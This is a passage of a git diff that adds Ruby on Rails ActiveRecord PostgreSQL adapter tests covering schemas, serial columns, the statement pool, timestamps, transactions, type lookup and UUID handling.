+  end
+
+  def test_current_schema
+    {
+      %('$user',public)                        => "public",
+      SCHEMA_NAME                              => SCHEMA_NAME,
+      %(#{SCHEMA2_NAME},#{SCHEMA_NAME},public) => SCHEMA2_NAME,
+      %(public,#{SCHEMA2_NAME},#{SCHEMA_NAME}) => "public"
+    }.each do |given, expect|
+      with_schema_search_path(given) { assert_equal expect, @connection.current_schema }
+    end
+  end
+
+  def test_prepared_statements_with_multiple_schemas
+    [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+      with_schema_search_path schema_name do
+        Thing5.create(id: 1, name: "thing inside #{SCHEMA_NAME}", email: "thing1@localhost", moment: Time.now)
+      end
+    end
+
+    [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+      with_schema_search_path schema_name do
+        assert_equal 1, Thing5.count
+      end
+    end
+  end
+
+  def test_schema_exists?
+    {
+      "public"     => true,
+      SCHEMA_NAME  => true,
+      SCHEMA2_NAME => true,
+      "darkside"   => false
+    }.each do |given, expect|
+      assert_equal expect, @connection.schema_exists?(given)
+    end
+  end
+
+  def test_reset_pk_sequence
+    sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+    @connection.execute "SELECT setval('#{sequence_name}', 123)"
+    assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')")
+    @connection.reset_pk_sequence!("#{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME}")
+    assert_equal 1, @connection.select_value("SELECT nextval('#{sequence_name}')")
+  end
+
+  def test_set_pk_sequence
+    table_name = "#{SCHEMA_NAME}.#{PK_TABLE_NAME}"
+    _, sequence_name = @connection.pk_and_sequence_for table_name
+    @connection.set_pk_sequence! table_name, 123
+    assert_equal 124, @connection.select_value("SELECT nextval('#{sequence_name}')")
+    @connection.reset_pk_sequence! table_name
+  end
+
+  private
+    def columns(table_name)
+      @connection.send(:column_definitions, table_name).map do |name, type, default|
+        "#{name} #{type}" + (default ? " default #{default}" : "")
+      end
+    end
+
+    def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name, fourth_index_column_name)
+      with_schema_search_path(this_schema_name) do
+        indexes = @connection.indexes(TABLE_NAME).sort_by(&:name)
+        assert_equal 5, indexes.size
+
+        index_a, index_b, index_c, index_d, index_e = indexes
+
+        do_dump_index_assertions_for_one_index(index_a, INDEX_A_NAME, first_index_column_name)
+        do_dump_index_assertions_for_one_index(index_b, INDEX_B_NAME, second_index_column_name)
+        do_dump_index_assertions_for_one_index(index_d, INDEX_D_NAME, third_index_column_name)
+        do_dump_index_assertions_for_one_index(index_e, INDEX_E_NAME, fourth_index_column_name)
+
+        assert_equal :btree, index_a.using
+        assert_equal :btree, index_b.using
+        assert_equal :gin,   index_c.using
+        assert_equal :btree, index_d.using
+        assert_equal :gin,   index_e.using
+
+        assert_equal :desc,  index_d.orders[INDEX_D_COLUMN]
+      end
+    end
+
+    def do_dump_index_assertions_for_one_index(this_index, this_index_name, this_index_column)
+      assert_equal TABLE_NAME, this_index.table
+      assert_equal 1, this_index.columns.size
+      assert_equal this_index_column, this_index.columns[0]
+      assert_equal this_index_name, this_index.name
+    end
+
+    def bind_param(value)
+      ActiveRecord::Relation::QueryAttribute.new(nil, value, ActiveRecord::Type::Value.new)
+    end
+end
+
+class SchemaForeignKeyTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def test_dump_foreign_key_targeting_different_schema
+    @connection.create_schema "my_schema"
+    @connection.create_table "my_schema.trains" do |t|
+      t.string :name
+    end
+    @connection.create_table "wagons" do |t|
+      t.integer :train_id
+    end
+    @connection.add_foreign_key "wagons", "my_schema.trains", column: "train_id"
+    output = dump_table_schema "wagons"
+    assert_match %r{\s+add_foreign_key "wagons", "my_schema\.trains", column: "train_id"$}, output
+  ensure
+    @connection.drop_table "wagons", if_exists: true
+    @connection.drop_table "my_schema.trains", if_exists: true
+    @connection.drop_schema "my_schema", if_exists: true
+  end
+end
+
+class DefaultsUsingMultipleSchemasAndDomainTest < ActiveRecord::PostgreSQLTestCase
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.drop_schema "schema_1", if_exists: true
+    @connection.execute "CREATE SCHEMA schema_1"
+    @connection.execute "CREATE DOMAIN schema_1.text AS text"
+    @connection.execute "CREATE DOMAIN schema_1.varchar AS varchar"
+    @connection.execute "CREATE DOMAIN schema_1.bpchar AS bpchar"
+
+    @old_search_path = @connection.schema_search_path
+    @connection.schema_search_path = "schema_1, pg_catalog"
+    @connection.create_table "defaults" do |t|
+      t.text "text_col", default: "some value"
+      t.string "string_col", default: "some value"
+      t.decimal "decimal_col", default: "3.14159265358979323846"
+    end
+    Default.reset_column_information
+  end
+
+  teardown do
+    @connection.schema_search_path = @old_search_path
+    @connection.drop_schema "schema_1", if_exists: true
+    Default.reset_column_information
+  end
+
+  def test_text_defaults_in_new_schema_when_overriding_domain
+    assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parsed"
+  end
+
+  def test_string_defaults_in_new_schema_when_overriding_domain
+    assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parsed"
+  end
+
+  def test_decimal_defaults_in_new_schema_when_overriding_domain
+    assert_equal BigDecimal.new("3.14159265358979323846"), Default.new.decimal_col, "Default of decimal column was not correctly parsed"
+  end
+
+  def test_bpchar_defaults_in_new_schema_when_overriding_domain
+    @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'"
+    Default.reset_column_information
+    assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parsed"
+  end
+
+  def test_text_defaults_after_updating_column_default
+    @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text"
+    assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parsed after updating default using '::text' since postgreSQL will add parens to the default in db"
+  end
+
+  def test_default_containing_quote_and_colons
+    @connection.execute "ALTER TABLE defaults ALTER COLUMN string_col SET DEFAULT 'foo''::bar'"
+    assert_equal "foo'::bar", Default.new.string_col
+  end
+end
+
+class SchemaWithDotsTest < ActiveRecord::PostgreSQLTestCase
+  include PGSchemaHelper
+  self.use_transactional_tests = false
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_schema "my.schema"
+  end
+
+  teardown do
+    @connection.drop_schema "my.schema", if_exists: true
+  end
+
+  test "rename_table" do
+    with_schema_search_path('"my.schema"') do
+      @connection.create_table :posts
+      @connection.rename_table :posts, :articles
+      assert_equal ["articles"], @connection.tables
+    end
+  end
+
+  test "Active Record basics" do
+    with_schema_search_path('"my.schema"') do
+      @connection.create_table :articles do |t|
+        t.string :title
+      end
+      article_class = Class.new(ActiveRecord::Base) do
+        self.table_name = '"my.schema".articles'
+      end
+
+      article_class.create!(title: "zOMG, welcome to my blorgh!")
+      welcome_article = article_class.last
+      assert_equal "zOMG, welcome to my blorgh!", welcome_article.title
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/serial_test.rb b/activerecord/test/cases/adapters/postgresql/serial_test.rb
new file mode 100644
index 0000000000..3c020a88d0
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/serial_test.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlSerialTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class PostgresqlSerial < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table "postgresql_serials", force: true do |t|
+      t.serial :seq
+      t.integer :serials_id, default: -> { "nextval('postgresql_serials_id_seq')" }
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_serials", if_exists: true
+  end
+
+  def test_serial_column
+    column = PostgresqlSerial.columns_hash["seq"]
+    assert_equal :integer, column.type
+    assert_equal "integer", column.sql_type
+    assert column.serial?
+  end
+
+  def test_not_serial_column
+    column = PostgresqlSerial.columns_hash["serials_id"]
+    assert_equal :integer, column.type
+    assert_equal "integer", column.sql_type
+    assert_not column.serial?
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema "postgresql_serials"
+    assert_match %r{t\.serial\s+"seq",\s+null: false$}, output
+  end
+
+  def test_schema_dump_with_not_serial
+    output = dump_table_schema "postgresql_serials"
+    assert_match %r{t\.integer\s+"serials_id",\s+default: -> \{ "nextval\('postgresql_serials_id_seq'::regclass\)" \}$}, output
+  end
+end
+
+class PostgresqlBigSerialTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class PostgresqlBigSerial < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table "postgresql_big_serials", force: true do |t|
+      t.bigserial :seq
+      t.bigint :serials_id, default: -> { "nextval('postgresql_big_serials_id_seq')" }
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_big_serials", if_exists: true
+  end
+
+  def test_bigserial_column
+    column = PostgresqlBigSerial.columns_hash["seq"]
+    assert_equal :integer, column.type
+    assert_equal "bigint", column.sql_type
+    assert column.serial?
+  end
+
+  def test_not_bigserial_column
+    column = PostgresqlBigSerial.columns_hash["serials_id"]
+    assert_equal :integer, column.type
+    assert_equal "bigint", column.sql_type
+    assert_not column.serial?
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema "postgresql_big_serials"
+    assert_match %r{t\.bigserial\s+"seq",\s+null: false$}, output
+  end
+
+  def test_schema_dump_with_not_bigserial
+    output = dump_table_schema "postgresql_big_serials"
+    assert_match %r{t\.bigint\s+"serials_id",\s+default: -> \{ "nextval\('postgresql_big_serials_id_seq'::regclass\)" \}$}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
new file mode 100644
index 0000000000..a3eb4f9e67
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter < AbstractAdapter
+      class InactivePgConnection
+        def query(*args)
+          raise PG::Error
+        end
+
+        def status
+          PG::CONNECTION_BAD
+        end
+      end
+
+      class StatementPoolTest < ActiveRecord::PostgreSQLTestCase
+        if Process.respond_to?(:fork)
+          def test_cache_is_per_pid
+            cache = StatementPool.new nil, 10
+            cache["foo"] = "bar"
+            assert_equal "bar", cache["foo"]
+
+            pid = fork {
+              lookup = cache["foo"];
+              exit!(!lookup)
+            }
+
+            Process.waitpid pid
+            assert $?.success?, "process should exit successfully"
+          end
+        end
+
+        def test_dealloc_does_not_raise_on_inactive_connection
+          cache = StatementPool.new InactivePgConnection.new, 10
+          cache["foo"] = "bar"
+          assert_nothing_raised { cache.clear }
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
new file mode 100644
index 0000000000..b7f213efc8
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/topic"
+
+class PostgresqlTimestampTest < ActiveRecord::PostgreSQLTestCase
+  class PostgresqlTimestampWithZone < ActiveRecord::Base; end
+
+  self.use_transactional_tests = false
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
+  end
+
+  teardown do
+    PostgresqlTimestampWithZone.delete_all
+  end
+
+  def test_timestamp_with_zone_values_with_rails_time_zone_support
+    with_timezone_config default: :utc, aware_attributes: true do
+      @connection.reconnect!
+
+      timestamp = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010, 1, 1, 11, 0, 0), timestamp.time
+      assert_instance_of Time, timestamp.time
+    end
+  ensure
+    @connection.reconnect!
+  end
+
+  def test_timestamp_with_zone_values_without_rails_time_zone_support
+    with_timezone_config default: :local, aware_attributes: false do
+      @connection.reconnect!
+      # make sure to use a non-UTC time zone
+      @connection.execute("SET time zone 'America/Jamaica'", "SCHEMA")
+
+      timestamp = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010, 1, 1, 11, 0, 0), timestamp.time
+      assert_instance_of Time, timestamp.time
+    end
+  ensure
+    @connection.reconnect!
+  end
+end
+
+class PostgresqlTimestampFixtureTest < ActiveRecord::PostgreSQLTestCase
+  fixtures :topics
+
+  def test_group_by_date
+    keys = Topic.group("date_trunc('month', created_at)").count.keys
+    assert_operator keys.length, :>, 0
+    keys.each { |k| assert_kind_of Time, k }
+  end
+
+  def test_load_infinity_and_beyond
+    d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
+    assert d.first.updated_at.infinite?, "timestamp should be infinite"
+
+    d = Developer.find_by_sql("select '-infinity'::timestamp as updated_at")
+    time = d.first.updated_at
+    assert time.infinite?, "timestamp should be infinite"
+    assert_operator time, :<, 0
+  end
+
+  def test_save_infinity_and_beyond
+    d = Developer.create!(name: "aaron", updated_at: 1.0 / 0.0)
+    assert_equal(1.0 / 0.0, d.updated_at)
+
+    d = Developer.create!(name: "aaron", updated_at: -1.0 / 0.0)
+    assert_equal(-1.0 / 0.0, d.updated_at)
+  end
+
+  def test_bc_timestamp
+    date = Date.new(0) - 1.week
+    Developer.create!(name: "aaron", updated_at: date)
+    assert_equal date, Developer.find_by_name("aaron").updated_at
+  end
+
+  def test_bc_timestamp_leap_year
+    date = Time.utc(-4, 2, 29)
+    Developer.create!(name: "taihou", updated_at: date)
+    assert_equal date, Developer.find_by_name("taihou").updated_at
+  end
+
+  def test_bc_timestamp_year_zero
+    date = Time.utc(0, 4, 7)
+    Developer.create!(name: "yahagi", updated_at: date)
+    assert_equal date, Developer.find_by_name("yahagi").updated_at
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/transaction_test.rb b/activerecord/test/cases/adapters/postgresql/transaction_test.rb
new file mode 100644
index 0000000000..f56adf4a5e
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/transaction_test.rb
@@ -0,0 +1,104 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "concurrent/atomic/cyclic_barrier"
+
+module ActiveRecord
+  class PostgresqlTransactionTest < ActiveRecord::PostgreSQLTestCase
+    self.use_transactional_tests = false
+
+    class Sample < ActiveRecord::Base
+      self.table_name = "samples"
+    end
+
+    setup do
+      @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
+
+      @connection = ActiveRecord::Base.connection
+
+      @connection.transaction do
+        @connection.drop_table "samples", if_exists: true
+        @connection.create_table("samples") do |t|
+          t.integer "value"
+        end
+      end
+
+      Sample.reset_column_information
+    end
+
+    teardown do
+      @connection.drop_table "samples", if_exists: true
+
+      Thread.abort_on_exception = @abort
+    end
+
+    test "raises SerializationFailure when a serialization failure occurs" do
+      assert_raises(ActiveRecord::SerializationFailure) do
+        before = Concurrent::CyclicBarrier.new(2)
+        after = Concurrent::CyclicBarrier.new(2)
+
+        thread = Thread.new do
+          with_warning_suppression do
+            Sample.transaction isolation: :serializable do
+              before.wait
+              Sample.create value: Sample.sum(:value)
+              after.wait
+            end
+          end
+        end
+
+        begin
+          with_warning_suppression do
+            Sample.transaction isolation: :serializable do
+              before.wait
+              Sample.create value: Sample.sum(:value)
+              after.wait
+            end
+          end
+        ensure
+          thread.join
+        end
+      end
+    end
+
+    test "raises Deadlocked when a deadlock is encountered" do
+      with_warning_suppression do
+        assert_raises(ActiveRecord::Deadlocked) do
+          barrier = Concurrent::CyclicBarrier.new(2)
+
+          s1 = Sample.create value: 1
+          s2 = Sample.create value: 2
+
+          thread = Thread.new do
+            Sample.transaction do
+              s1.lock!
+              barrier.wait
+              s2.update_attributes value: 1
+            end
+          end
+
+          begin
+            Sample.transaction do
+              s2.lock!
+              barrier.wait
+              s1.update_attributes value: 2
+            end
+          ensure
+            thread.join
+          end
+        end
+      end
+    end
+
+    private
+
+      def with_warning_suppression
+        log_level = ActiveRecord::Base.connection.client_min_messages
+        ActiveRecord::Base.connection.client_min_messages = "error"
+        yield
+      ensure
+        ActiveRecord::Base.connection.client_min_messages = log_level
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
new file mode 100644
index 0000000000..449023b6eb
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlTypeLookupTest < ActiveRecord::PostgreSQLTestCase
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  test "array delimiters are looked up correctly" do
+    box_array = @connection.send(:type_map).lookup(1020)
+    int_array = @connection.send(:type_map).lookup(1007)
+
+    assert_equal ";", box_array.delimiter
+    assert_equal ",", int_array.delimiter
+  end
+
+  test "array types correctly respect registration of subtypes" do
+    int_array = @connection.send(:type_map).lookup(1007, -1, "integer[]")
+    bigint_array = @connection.send(:type_map).lookup(1016, -1, "bigint[]")
+    big_array = [123456789123456789]
+
+    assert_raises(ActiveModel::RangeError) { int_array.serialize(big_array) }
+    assert_equal "{123456789123456789}", @connection.type_cast(bigint_array.serialize(big_array))
+  end
+
+  test "range types correctly respect registration of subtypes" do
+    int_range = @connection.send(:type_map).lookup(3904, -1, "int4range")
+    bigint_range = @connection.send(:type_map).lookup(3926, -1, "int8range")
+    big_range = 0..123456789123456789
+
+    assert_raises(ActiveModel::RangeError) { int_range.serialize(big_range) }
+    assert_equal "[0,123456789123456789]", bigint_range.serialize(big_range)
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
new file mode 100644
index 0000000000..c91884f384
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/connection_adapters/postgresql/utils"
+
+class PostgreSQLUtilsTest < ActiveRecord::PostgreSQLTestCase
+  Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+  include ActiveRecord::ConnectionAdapters::PostgreSQL::Utils
+
+  def test_extract_schema_qualified_name
+    {
+      %(table_name)            => [nil, "table_name"],
+      %("table.name")          => [nil, "table.name"],
+      %(schema.table_name)     => %w{schema table_name},
+      %("schema".table_name)   => %w{schema table_name},
+      %(schema."table_name")   => %w{schema table_name},
+      %("schema"."table_name") => %w{schema table_name},
+      %("even spaces".table)   => ["even spaces", "table"],
+      %(schema."table.name")   => ["schema", "table.name"]
+    }.each do |given, expect|
+      assert_equal Name.new(*expect), extract_schema_qualified_name(given)
+    end
+  end
+end
+
+class PostgreSQLNameTest < ActiveRecord::PostgreSQLTestCase
+  Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+
+  test "represents itself as schema.name" do
+    obj = Name.new("public", "articles")
+    assert_equal "public.articles", obj.to_s
+  end
+
+  test "without schema, represents itself as name only" do
+    obj = Name.new(nil, "articles")
+    assert_equal "articles", obj.to_s
+  end
+
+  test "quoted returns a string representation usable in a query" do
+    assert_equal %("articles"), Name.new(nil, "articles").quoted
+    assert_equal %("public"."articles"), Name.new("public", "articles").quoted
+  end
+
+  test "prevents double quoting" do
+    name = Name.new('"quoted_schema"', '"quoted_table"')
+    assert_equal "quoted_schema.quoted_table", name.to_s
+    assert_equal %("quoted_schema"."quoted_table"), name.quoted
+  end
+
+  test "equality based on state" do
+    assert_equal Name.new("access", "users"), Name.new("access", "users")
+    assert_equal Name.new(nil, "users"), Name.new(nil, "users")
+    assert_not_equal Name.new(nil, "users"), Name.new("access", "users")
+    assert_not_equal Name.new("access", "users"), Name.new("public", "users")
+    assert_not_equal Name.new("public", "users"), Name.new("public", "articles")
+  end
+
+  test "can be used as hash key" do
+    hash = { Name.new("schema", "article_seq") => "success" }
+    assert_equal "success", hash[Name.new("schema", "article_seq")]
+    assert_nil hash[Name.new("schema", "articles")]
+    assert_nil hash[Name.new("public", "article_seq")]
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
new file mode 100644
index 0000000000..76cb1bc354
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -0,0 +1,376 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+module PostgresqlUUIDHelper
+  def connection
+    @connection ||= ActiveRecord::Base.connection
+  end
+
+  def drop_table(name)
+    connection.drop_table name, if_exists: true
+  end
+
+  def uuid_function
+    connection.supports_pgcrypto_uuid? ? "gen_random_uuid()" : "uuid_generate_v4()"
+  end
+
+  def uuid_default
+    connection.supports_pgcrypto_uuid? ? {} : { default: uuid_function }
+  end
+end
+
+class PostgresqlUUIDTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
+
+  class UUIDType < ActiveRecord::Base
+    self.table_name = "uuid_data_type"
+  end
+
+  setup do
+    enable_extension!("uuid-ossp", connection)
+    enable_extension!("pgcrypto",  connection) if connection.supports_pgcrypto_uuid?
+
+    connection.create_table "uuid_data_type" do |t|
+      t.uuid "guid"
+    end
+  end
+
+  teardown do
+    drop_table "uuid_data_type"
+  end
+
+  if ActiveRecord::Base.connection.respond_to?(:supports_pgcrypto_uuid?) &&
+      ActiveRecord::Base.connection.supports_pgcrypto_uuid?
+    def test_uuid_column_default
+      connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: "gen_random_uuid()"
+      UUIDType.reset_column_information
+      column = UUIDType.columns_hash["thingy"]
+      assert_equal "gen_random_uuid()", column.default_function
+    end
+  end
+
+  def test_change_column_default
+    connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v1()"
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash["thingy"]
+    assert_equal "uuid_generate_v1()", column.default_function
+
+    connection.change_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v4()"
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash["thingy"]
+    assert_equal "uuid_generate_v4()", column.default_function
+  ensure
+    UUIDType.reset_column_information
+  end
+
+  def test_add_column_with_null_true_and_default_nil
+    connection.add_column :uuid_data_type, :thingy, :uuid, null: true, default: nil
+
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash["thingy"]
+
+    assert column.null
+    assert_nil column.default
+  end
+
+  def test_data_type_of_uuid_types
+    column = UUIDType.columns_hash["guid"]
+    assert_equal :uuid, column.type
+    assert_equal "uuid", column.sql_type
+    assert_not column.array?
+
+    type = UUIDType.type_for_attribute("guid")
+    assert_not type.binary?
+  end
+
+  def test_treat_blank_uuid_as_nil
+    UUIDType.create! guid: ""
+    assert_nil(UUIDType.last.guid)
+  end
+
+  def test_treat_invalid_uuid_as_nil
+    uuid = UUIDType.create! guid: "foobar"
+    assert_nil(uuid.guid)
+  end
+
+  def test_invalid_uuid_dont_modify_before_type_cast
+    uuid = UUIDType.new guid: "foobar"
+    assert_equal "foobar", uuid.guid_before_type_cast
+  end
+
+  def test_acceptable_uuid_regex
+    # Valid uuids
+    ["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11",
+     "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}",
+     "a0eebc999c0b4ef8bb6d6bb9bd380a11",
+     "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11",
+     "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}",
+     # The following is not a valid RFC 4122 UUID, but PG doesn't seem to care,
+     # so we shouldn't block it either. (Pay attention to "fb6d" – the "f" here
+     # is invalid – it must be one of 8, 9, A, B, a, b according to the spec.)
+     "{a0eebc99-9c0b-4ef8-fb6d-6bb9bd380a11}",
+    ].each do |valid_uuid|
+      uuid = UUIDType.new guid: valid_uuid
+      assert_not_nil uuid.guid
+    end
+
+    # Invalid uuids
+    [["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"],
+     Hash.new,
+     0,
+     0.0,
+     true,
+     "Z0000C99-9C0B-4EF8-BB6D-6BB9BD380A11",
+     "a0eebc999r0b4ef8ab6d6bb9bd380a11",
+     "a0ee-bc99------4ef8-bb6d-6bb9-bd38-0a11",
+     "{a0eebc99-bb6d6bb9-bd380a11}",
+     "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11",
+     "a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}"].each do |invalid_uuid|
+      uuid = UUIDType.new guid: invalid_uuid
+      assert_nil uuid.guid
+    end
+  end
+
+  def test_uuid_formats
+    ["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11",
+     "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}",
+     "a0eebc999c0b4ef8bb6d6bb9bd380a11",
+     "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11",
+     "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}"].each do |valid_uuid|
+      UUIDType.create(guid: valid_uuid)
+      uuid = UUIDType.last
+      assert_equal "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11", uuid.guid
+    end
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema "uuid_data_type"
+    assert_match %r{t\.uuid "guid"}, output
+  end
+
+  def test_uniqueness_validation_ignores_uuid
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "uuid_data_type"
+      validates :guid, uniqueness: { case_sensitive: false }
+
+      def self.name
+        "UUIDType"
+      end
+    end
+
+    record = klass.create!(guid: "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11")
+    duplicate = klass.new(guid: record.guid)
+
+    assert record.guid.present? # Ensure we actually are testing a UUID
+    assert_not duplicate.valid?
+  end
+end
+
+class PostgresqlUUIDGenerationTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
+
+  class UUID < ActiveRecord::Base
+    self.table_name = "pg_uuids"
+  end
+
+  setup do
+    connection.create_table("pg_uuids", id: :uuid, default: "uuid_generate_v1()") do |t|
+      t.string "name"
+      t.uuid "other_uuid", default: "uuid_generate_v4()"
+    end
+
+    # Create custom PostgreSQL function to generate UUIDs
+    # to test dumping tables which columns have defaults with custom functions
+    connection.execute <<-SQL
+    CREATE OR REPLACE FUNCTION my_uuid_generator() RETURNS uuid
+    AS $$ SELECT * FROM #{uuid_function} $$
+    LANGUAGE SQL VOLATILE;
+    SQL
+
+    # Create such a table with custom function as default value generator
+    connection.create_table("pg_uuids_2", id: :uuid, default: "my_uuid_generator()") do |t|
+      t.string "name"
+      t.uuid "other_uuid_2", default: "my_uuid_generator()"
+    end
+
+    connection.create_table("pg_uuids_3", id: :uuid, **uuid_default) do |t|
+      t.string "name"
+    end
+  end
+
+  teardown do
+    drop_table "pg_uuids"
+    drop_table "pg_uuids_2"
+    drop_table "pg_uuids_3"
+    connection.execute "DROP FUNCTION IF EXISTS my_uuid_generator();"
+  end
+
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_id_is_uuid
+      assert_equal :uuid, UUID.columns_hash["id"].type
+      assert UUID.primary_key
+    end
+
+    def test_id_has_a_default
+      u = UUID.create
+      assert_not_nil u.id
+    end
+
+    def test_auto_create_uuid
+      u = UUID.create
+      u.reload
+      assert_not_nil u.other_uuid
+    end
+
+    def test_pk_and_sequence_for_uuid_primary_key
+      pk, seq = connection.pk_and_sequence_for("pg_uuids")
+      assert_equal "id", pk
+      assert_nil seq
+    end
+
+    def test_schema_dumper_for_uuid_primary_key
+      schema = dump_table_schema "pg_uuids"
+      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: -> { "uuid_generate_v1\(\)" }/, schema)
+      assert_match(/t\.uuid "other_uuid", default: -> { "uuid_generate_v4\(\)" }/, schema)
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_with_custom_default
+      schema = dump_table_schema "pg_uuids_2"
+      assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: -> { "my_uuid_generator\(\)" }/, schema)
+      assert_match(/t\.uuid "other_uuid_2", default: -> { "my_uuid_generator\(\)" }/, schema)
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_default
+      schema = dump_table_schema "pg_uuids_3"
+      if connection.supports_pgcrypto_uuid?
+        assert_match(/\bcreate_table "pg_uuids_3", id: :uuid, default: -> { "gen_random_uuid\(\)" }/, schema)
+      else
+        assert_match(/\bcreate_table "pg_uuids_3", id: :uuid, default: -> { "uuid_generate_v4\(\)" }/, schema)
+      end
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_default_in_legacy_migration
+      @verbose_was = ActiveRecord::Migration.verbose
+      ActiveRecord::Migration.verbose = false
+
+      migration = Class.new(ActiveRecord::Migration[5.0]) do
+        def version; 101 end
+        def migrate(x)
+          create_table("pg_uuids_4", id: :uuid)
+        end
+      end.new
+      ActiveRecord::Migrator.new(:up, [migration]).migrate
+
+      schema = dump_table_schema "pg_uuids_4"
+      assert_match(/\bcreate_table "pg_uuids_4", id: :uuid, default: -> { "uuid_generate_v4\(\)" }/, schema)
+    ensure
+      drop_table "pg_uuids_4"
+      ActiveRecord::Migration.verbose = @verbose_was
+    end
+  end
+end
+
+class PostgresqlUUIDTestNilDefault < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
+
